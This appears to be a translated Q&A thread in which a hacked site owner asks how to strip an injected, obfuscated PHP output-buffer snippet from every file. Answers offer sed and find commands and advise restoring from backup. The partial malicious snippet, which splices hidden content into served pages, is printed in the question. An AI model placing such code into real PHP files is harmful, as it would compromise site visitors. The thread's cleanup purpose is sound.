exclui o código do hacker de todos os arquivos com sed ou diff [duplicado]

1

Olá,

Preciso da sua ajuda com urgência, pois o servidor foi invadido e não tenho tempo para aprender como remover o código do hacker de todos os arquivos. Anexei o código que foi adicionado a todos os arquivos. Existem muitos caracteres especiais neste código e é bastante grande. Foi adicionado nos arquivos às vezes duas vezes.

Eu não sei bem sed para resolver este problema com ele. Como excluir este trecho de código de todos os arquivos? Usando sed, diff / patch ou outras técnicas?

Aqui está parte do código a ser removido:

    <?php global $ob_starting;
if(!$ob_starting) {
   function ob_start_flush($s) {
        $tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51);
        $tr = array(50, 2, 5, 4, 11, 26, 3, 0, 3, 30, 26, 1, 28, 32, 3, 1, 61, 3, 52, 44, 21, 31, 21, 2, 5, 4, 11, 26, 3, 32, 60, 11, 25, 0, 9, 3, 30, 26, 1, 7, 25, 9, 4, 1, 14, 1, 25, 16, 5, 7, 13, 7, 4, 2, 8, 28, 28, 32, 24, 15, 14, 1, 25, 11, 15, 1, 14, 32, 8, 0, 36, 0, 0, 0, 31, 21, 4, 0, 14, 11, 31, 16, 5, 7, 13, 7, 4, 2, 0, 28, 0, 15, 1, 42, 0, 63, 4, 
-------------

-------------
       $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
   }
   $ob_starting = time();
   @ob_start("ob_start_flush");

Eu apreciarei qualquer ajuda. Obrigado.

Atualização:

I have tried using the code like:

for fname $(grep *.php .); do
        while read; do
                sed -i 's/$REPLY//' $fname
        done < filem
done

onde filem - é um arquivo com o código malicioso. Neste arquivo eu substituí todos os caracteres especiais como $ < (etc com o ponto '.', Mas ainda assim o sed traz muitos erros.

    
por Andrew 05.05.2011 / 05:00

2 respostas

5

O conselho nos comentários está completamente correto. Você realmente precisa restaurar a partir do backup, mas se o código do hacker for EXATAMENTE parecido com o seu exemplo acima, você pode tentar fazer isso (faça uma cópia de backup do seu webroot primeiro).

sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' cleanme.php 

Para percorrer a webroot e todos os subdiretórios, use:

find $WEBROOT -type f -exec sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' {} \;

O sed remove tudo entre as variáveis iniciais e finais fornecidas. Boa sorte.

    
por 05.05.2011 / 06:30
0

você está usando osCommerce? Talvez você deva procurar em seus fóruns de suporte, parece haver outros lidando com quase a mesma coisa - e remover o código sem entender o problema provavelmente resultará no fato de acontecer novamente

link

link

    
por 05.05.2011 / 05:24

Tags